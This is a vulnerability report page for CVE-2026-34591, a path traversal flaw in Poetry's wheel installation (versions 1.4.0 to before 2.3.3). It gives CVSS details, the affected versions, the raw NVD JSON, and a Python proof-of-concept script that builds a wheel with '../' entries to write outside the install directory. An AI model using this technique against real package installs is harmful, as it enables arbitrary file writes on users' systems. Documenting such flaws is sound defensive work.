Security Vulnerability Report
中文
CVE-2026-34591 CVSS 6.5 MEDIUM

CVE-2026-34591

Published: 2026-04-02 18:16:31
Last Modified: 2026-04-13 18:38:38

Description

Poetry is a dependency manager for Python. From version 1.4.0 to before version 2.3.3, a crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. It is reachable from untrusted package artifacts during normal install flows. (Normally, installing a malicious wheel is not sufficient for execution of malicious code. Malicious code will only be executed after installation if the malicious package is imported or invoked by the user.). This issue has been patched in version 2.3.3.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:python-poetry:poetry:*:*:*:*:*:python:*:* - VULNERABLE
1.4.0 <= Poetry < 2.3.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import os import zipfile # Create a malicious wheel file (simplified) malicious_wheel_name = 'malicious_package-1.0.0-py3-none-any.whl' with zipfile.ZipFile(malicious_wheel_name, 'w') as zf: # Add a file with a path traversal sequence # This will attempt to write to /tmp/pwned.txt or C:\Temp\pwned.txt data = b'This file was written by a vulnerable Poetry installation.' # Unix-like path traversal zf.writestr('../../../../tmp/pwned.txt', data) # Windows path traversal (optional, depending on target) # zf.writestr('../../../../Windows/Temp/pwned.txt', data) # Metadata to make it look somewhat valid (minimal) metadata = '''Metadata-Version: 2.1 Name: malicious-package Version: 1.0.0 ''' zf.writestr('malicious_package-1.0.0.dist-info/METADATA', metadata) record = '''../../../../tmp/pwned.txt,, malicious_package-1.0.0.dist-info/METADATA,, ''' zf.writestr('malicious_package-1.0.0.dist-info/RECORD', record) print(f'Created {malicious_wheel_name}') print('Upload this to a repository and install it with the vulnerable Poetry version.')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34591", "sourceIdentifier": "[email protected]", "published": "2026-04-02T18:16:31.163", "lastModified": "2026-04-13T18:38:38.063", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Poetry is a dependency manager for Python. From version 1.4.0 to before version 2.3.3, a crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. It is reachable from untrusted package artifacts during normal install flows. (Normally, installing a malicious wheel is not sufficient for execution of malicious code. Malicious code will only be executed after installation if the malicious package is imported or invoked by the user.). This issue has been patched in version 2.3.3."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:python-poetry:poetry:*:*:*:*:*:python:*:*", "versionStartIncluding": "1.4.0", "versionEndExcluding": "2.3.3", "matchCriteriaId": "6305B4E1-D30A-46D9-9A79-6DFC56825CBD"}]}]}], "references": [{"url": "http://github.com/python-poetry/poetry/commit/ed59537ac3709cfbdbf95d957de801c13872991a", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/python-poetry/poetry/pull/10792", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/python-poetry/poetry/releases/tag/2.3.3", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/python-poetry/poetry/security/advisories/GHSA-2599-h6xx-hpxp", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/python-poetry/poetry/security/advisories/GHSA-2599-h6xx-hpxp", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}